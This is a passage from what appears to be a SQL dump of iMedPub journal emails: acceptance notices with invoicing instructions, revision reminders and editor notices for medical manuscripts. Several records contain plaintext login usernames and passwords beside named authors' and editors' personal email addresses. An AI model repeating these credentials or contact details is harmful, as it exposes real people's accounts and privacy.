</tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-9980</b><br />\r\n            <br />\r\n            Article Title: <b>Role of Weighted Blankets in Improving Pain and Sleep Quality in Patients with Complex Regional Pain Syndrome: A Case Report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Thampi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mdspine@gmail.com',9980,'2021-09-16',984),(3728,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8872</b><br />\r\n            <br />\r\n            Article Title: <b>MICROCEPHALY IN THE MATERNAL-CHILD LIFE CYCLE  </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-16</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8872,'2021-09-17',85),(3734,'<p>Ref.:  Ms. No. : <b>ipaom-21-10368</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Riesgo de desarrollar Diabetes Mellitus tipo II. San Mat&iacute;as, Francisco Moraz&aacute;n, junio- Julio 2019. </b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Solano Velasquez</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-10368</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jhiamluka_zservando</b><br />\r\npassword: <b>rqNAQm30</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','jhiamv@gmail.com',10368,'2021-09-18',85),(3735,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-09-18',85),(3736,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-09-18',85),(3737,'<table style=\"border:3px solid #cccccc\" width=\"663\" height=\"90\" cellspacing=\"4\" cellpadding=\"4\" border=\"0\" bgcolor=\"#ffffff\" align=\"center\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\" align=\"left\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9472</b><br />\r\n            <br />\r\n            Article Title: <b>Hypopigmented Mycosis Fungoides: Pediatric case report</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ram&Atilde;&fnof;&Acirc;&shy;rez Rivera</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dianaramirezaxs1@gmail.com',9472,'2021-09-18',274),(3738,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10368</b><br />\r\n            <br />\r\n            Article Title: <b>Riesgo de desarrollar Diabetes Mellitus tipo II. San Mat&iacute;as, Francisco Moraz&aacute;n.</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Lukasz </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-10368</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','lukasz.szarpak@gmail.com',10368,'2021-09-20',85),(3739,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10368</b><br />\r\n            <br />\r\n            Article Title: <b>Riesgo de desarrollar Diabetes Mellitus tipo II. San Mat&iacute;as, Francisco Moraz&aacute;n.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Solano Velasquez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jhiamv@gmail.com',10368,'2021-09-21',85),(3740,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10368</b><br />\r\n            <br />\r\n            Article Title: <b>Riesgo de desarrollar Diabetes Mellitus tipo II. San Mat&iacute;as, Francisco Moraz&aacute;n.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Solano Velasquez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','jhiamv@gmail.com',10368,'2021-09-21',85),(3741,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10620</b><br />\r\n            <br />\r\n            Article Title: <b>Is There Any Modern and Efficient Cure of nCOVID-19?</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hazim</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Hazim.alhiti@uoanbar.edu.iq',10620,'2021-09-21',85),(3742,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10486</b><br />\r\n            <br />\r\n            Article Title: <b>The Relationship of Emotional Intelligence, Physical Activity, Eating Behaviors, Sleep and Health-related Behaviors: A Systematic Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Somaa</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fsomaa6549@gmail.com',10486,'2021-09-22',48),(3753,'<p>Ref.:  Ms. No. : <b>ipaom-21-9517</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Leiomyosarcoma of Uterus: a rare diagnosis</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Paudel</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-9517</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>palak</b><br />\r\npassword: <b>SyVhf4jr</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','palakpaudel@gmail.com',9517,'2021-09-25',85),(3754,'<p>Ref.:  Ms. No. : <b>ipaom-21-8594</b><br />\r\n<br />\r\nARTICLE TITLE: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Rolim Neto</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-8594</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>modesto_leite</b><br />\r\npassword: <b>aVNPWHQq</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','modesto.neto@ufca.edu.br',8594,'2021-09-25',85),(3761,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10665</b><br />\r\n            <br />\r\n            Article Title: <b>Antigen Rapid Test is Expected to Accelerate the Detection Efficiency of the COVID-19 Epidemic</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lei</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','zhanglei@zjgsu.edu.cn',10665,'2021-09-28',48),(3762,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10665</b><br />\r\n            <br />\r\n            Article Title: <b>Antigen Rapid Test is Expected to Accelerate the Detection Efficiency of the COVID-19 Epidemic</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lei</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','zhanglei@zjgsu.edu.cn',10665,'2021-09-28',48),(3763,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10414</b><br />\r\n            <br />\r\n            Article Title: <b>EFFECTS OF HIGH INTENSITY INTERVALED TRAINING ON BODY COMPOSITION: A Review</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Santos de Sousa Fernandes</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','theusfernandes10@hotmail.com',10414,'2021-09-28',48),(3764,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10413</b><br />\r\n            <br />\r\n            Article Title: <b>MATERNAL DIET AND EPIGENETIC MODIFICATIONS AT THE START OF LIFE: REPERCUSSIONS ON THE DEVELOPMENT OF OBESITY</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Santos de Sousa Fernandes</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','theusfernandes10@hotmail.com',10413,'2021-09-28',48),(3767,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-9999</b><br />\r\n            <br />\r\n            Article Title: <b>Reporte de casos sobre el uso de &Atilde;&iexcl;cido tranex&Atilde;&iexcl;mico para reducir el sangrado perioperatorio en liposucci&Atilde;&sup3;n y abdominoplastia </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Juan Jose Fuentes-Alzate</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tavares S&aacute;nchez</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipadm-21-9999</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> francisco_jos&eacute;<br />\r\n            <b>Password:</b> Ljrcav33<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','dr.tavaressanchez@gmail.com',9999,'2021-09-30',274),(3769,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-10738</b><br />\r\n            <br />\r\n            Article Title: <b>Hyaluronic Acid Dressings for Burn Wound Treatment: A Systematic Review of the Outcome and Advantages</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Yuni Ariani</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Wang</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>IPJUS-21-10738</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yang<br />\r\n            <b>Password:</b> MikP82VX<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivywang@creighton.edu',10738,'2021-09-30',319),(3770,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-10738</b><br />\r\n            <br />\r\n            Article Title: <b>Hyaluronic Acid Dressings for Burn Wound Treatment: A Systematic Review of the Outcome and Advantages</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ariani</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-09-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 